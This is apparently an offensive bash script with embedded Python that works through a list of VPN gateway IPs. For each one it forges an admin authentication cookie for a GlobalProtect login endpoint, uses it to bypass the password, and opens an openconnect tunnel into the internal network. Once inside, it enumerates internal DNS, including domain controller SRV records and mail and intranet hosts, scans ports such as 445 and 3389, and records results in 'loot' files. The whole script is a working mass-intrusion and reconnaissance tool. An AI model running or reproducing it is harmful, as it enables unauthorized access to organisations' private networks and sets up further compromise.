#!/bin/bash
cd /root/recon
OUT=loot/inside
mkdir -p $OUT
SUM=loot/inside_summary.tsv
[ -f $SUM ] || printf 'ip\tdomain\tversion\tassigned\tdns\ttunnel\tdns_answers\topen_ports\ttitles\n' > $SUM
rm -f $OUT/*[!t] 2>/dev/null
# resume: keep only IPs with a working tunnel
awk -F'\t' 'NR>1 && $6 != "LOGINFAIL" && $6 != "FAIL" {print $1}' $SUM > /tmp/done_ips.txt

awk -F'\t' '$5 ~ /0\.0\.0\.0\/0/ {print $1"|"$3"|"$4"|"$2}' loot/routes.tsv > /tmp/full_list.txt
awk -F'\t' 'BEGIN{OFS="|"} NR==FNR{d[$1]=$2;next} {split($0,a,"|"); if(a[2]=="" && (a[1] in d)) a[2]=d[a[1]]; print a[1],a[2],a[3],a[4]}' loot/success_named.tsv /tmp/full_list.txt > /tmp/full2.txt
echo "targets: $(wc -l < /tmp/full2.txt)"

while IFS='|' read -r IP DOM ASSIGNED VER; do
  [ -z "$IP" ] && continue
  grep -qx "$IP" /tmp/done_ips.txt && continue
  XML=loot/cfg/$IP.xml
  FLAT=$(tr -d ' \t\n\r' < "$XML" 2>/dev/null)
  DNS=$(echo "$FLAT" | grep -oE '<dns><member>[0-9.]+' | head -1 | sed 's/.*<member>//')
  SUF=$(echo "$FLAT" | grep -oE '<dns-suffix><member>[^<]+' | head -1 | sed 's/.*<member>//')
  [ -z "$DOM" ] && DOM=$SUF
  ROUTES=$(echo "$FLAT" | grep -oE '<access-routes><member>[^<]+' | sed 's/.*<member>//' | tr '\n' ' ')
  F=loot/inside/$IP.txt
  : > $F
  echo "=== $IP $DOM v=$VER assigned=$ASSIGNED dns=$DNS routes=$ROUTES" | tee -a $F

  OUT2=$(/root/pt/bin/python3 - "$IP" <<'PY'
import re,sys
sys.path.insert(0,'/root/recon')
import forge_cookie as fc, urllib.parse, urllib.request, ssl
ctx=ssl.create_default_context(); ctx.check_hostname=False; ctx.verify_mode=ssl.CERT_NONE
ip=sys.argv[1].strip()
if not ip: sys.exit(0)
try:
    certs=fc.get_all_public_keys(ip,443)
except Exception as e:
    sys.stderr.write('tlsfail %s\n' % type(e).__name__); sys.exit(0)
for c in certs[:3]:
    cand=fc.forge_cookie(c.public_key(),'admin',host_id='PC')
    b=urllib.parse.urlencode({'prot':'https','server':ip,'inputStr':'','jnlpReady':'jnlpReady','ok':'Login','direct':'yes','clientVer':'4100','user':'admin','passwd':'','context':'gateway','clientos':'Windows','clientgpversion':'6.0.0','host-id':'PC','computer':'PC','os-version':'Windows 10','portal-userauthcookie':cand,'portal-prelogonuserauthcookie':''}).encode()
    r=urllib.request.Request('https://%s/ssl-vpn/login.esp'%ip,data=b,method='POST')
    r.add_header('Content-Type','application/x-www-form-urlencoded')
    try: t=urllib.request.urlopen(r,context=ctx,timeout=20).read().decode()
    except Exception: continue
    a=re.findall(r'<argument>(.*?)</argument>',t,re.S)
    if len(a)>5: print('%s|%s'%(a[1],a[3])); break
PY
)
  AC=${OUT2%%|*}; GW=${OUT2##*|}
  if [ -z "$AC" ]; then
    echo "LOGINFAIL" | tee -a $F
    printf '%s\t%s\t%s\t%s\t%s\tLOGINFAIL\t\t\t\n' "$IP" "$DOM" "$VER" "$ASSIGNED" "$DNS" >> $SUM
    continue
  fi
  PIN=$(timeout 8 openconnect --protocol=gp --user=admin --servercert=pin-sha256:AAAA --non-inter "$IP" </dev/null 2>&1 | grep -oE 'pin-sha256:[^ ]+' | head -1 | sed 's/.*pin-sha256://')
  timeout 45 openconnect --protocol=gp --user=admin --cookie="user=admin&authcookie=$AC&portal=$GW&domain=&computer=PC" --servercert=pin-sha256:$PIN --non-inter --script=/usr/share/vpnc-scripts/vpnc-script "$IP" > /tmp/oc_$IP.log 2>&1 &
  P=$!
  OK=0
  for i in $(seq 1 10); do sleep 2; grep -q 'Configured as' /tmp/oc_$IP.log && { OK=1; break; }; done
  if [ $OK -eq 0 ]; then
    echo "TUNNEL_FAIL $(tail -2 /tmp/oc_$IP.log | tr '\n' ' ')" | tee -a $F
    printf '%s\t%s\t%s\t%s\t%s\tFAIL\t\t\t\n' "$IP" "$DOM" "$VER" "$ASSIGNED" "$DNS" >> $SUM
    kill $P 2>/dev/null; sleep 1; continue
  fi
  TUN=$(grep -m1 'Configured as' /tmp/oc_$IP.log | sed 's/.*with //')
  echo "tunnel: $TUN" | tee -a $F

  ANSW=""
  if [ -n "$DNS" ] && [ -n "$DOM" ]; then
    A=$(timeout 4 dig +short +time=2 +tries=1 @$DNS "$DOM" A 2>/dev/null | head -2 | tr '\n' ',')
    DFLAG=0
    case "$A" in ""|*"timed out"*|*"no servers"*) DFLAG=1 ;; esac
    if [ $DFLAG -eq 1 ]; then
      A=$(timeout 6 dig +tcp +short +time=3 +tries=1 @$DNS "$DOM" A 2>/dev/null | head -2 | tr '\n' ',')
      case "$A" in ""|*"timed out"*|*"no servers"*) A="" ;; *) echo "  dns(tcp) $DOM -> $A" | tee -a $F; DFLAG=0 ;; esac
    fi
    if [ $DFLAG -eq 0 ]; then
      echo "  dns $DOM -> $A" | tee -a $F
      ANSW="$DOM=$A;"
      for q in "www.$DOM" "mail.$DOM" "autodiscover.$DOM" "intranet.$DOM" "portal.$DOM" "owa.$DOM" "_ldap._tcp.$DOM" "_gc._tcp.$DOM" "_kerberos._tcp.$DOM"; do
        A=$(timeout 4 dig +short +time=2 +tries=1 @$DNS "$q" 2>/dev/null | head -2 | tr '\n' ',')
        [ -n "$A" ] && { echo "  dns $q -> $A" | tee -a $F; ANSW="$ANSW$q=$A;"; }
      done
    else
      echo "  dns $DOM -> silent (udp+tcp)" | tee -a $F
    fi
  fi

  PORTS=""
  FIRST=$(echo "$ROUTES" | awk '{print $1}' | cut -d/ -f1 | awk -F. '{print $1"."$2"."$3".1"}')
  for T in "$DNS" "$FIRST"; do
    [ -z "$T" ] && continue
    for p in 53 80 443 445 3389; do
      timeout 2 bash -c "</dev/tcp/$T/$p" 2>/dev/null && { PORTS="$PORTS$T:$p,"; echo "  tcp $T:$p open" | tee -a $F; }
    done
  done

  TITLES=""
  if [ -n "$DOM" ]; then
    for h in "www.$DOM" "intranet.$DOM" "portal.$DOM"; do
      T=$(timeout 5 curl -sk -m 4 -o /tmp/pg -w '%{http_code}' "https://$h/" 2>/dev/null)
      if [ "$T" != "000" ]; then
        TT=$(grep -oiE '<title>[^<]{0,60}' /tmp/pg 2>/dev/null | head -1 | sed 's/<[^>]*>//')
        echo "  https $h -> $T $TT" | tee -a $F
        TITLES="$TITLES$h:$T:${TT:0:30};"
      fi
    done
  fi
  printf '%s\t%s\t%s\t%s\t%s\t%s\t%s\t%s\t%s\n' "$IP" "$DOM" "$VER" "$ASSIGNED" "$DNS" "$TUN" "$ANSW" "$PORTS" "$TITLES" >> $SUM
  kill $P 2>/dev/null
  sleep 2
done < /tmp/full2.txt
echo "ALL DONE"
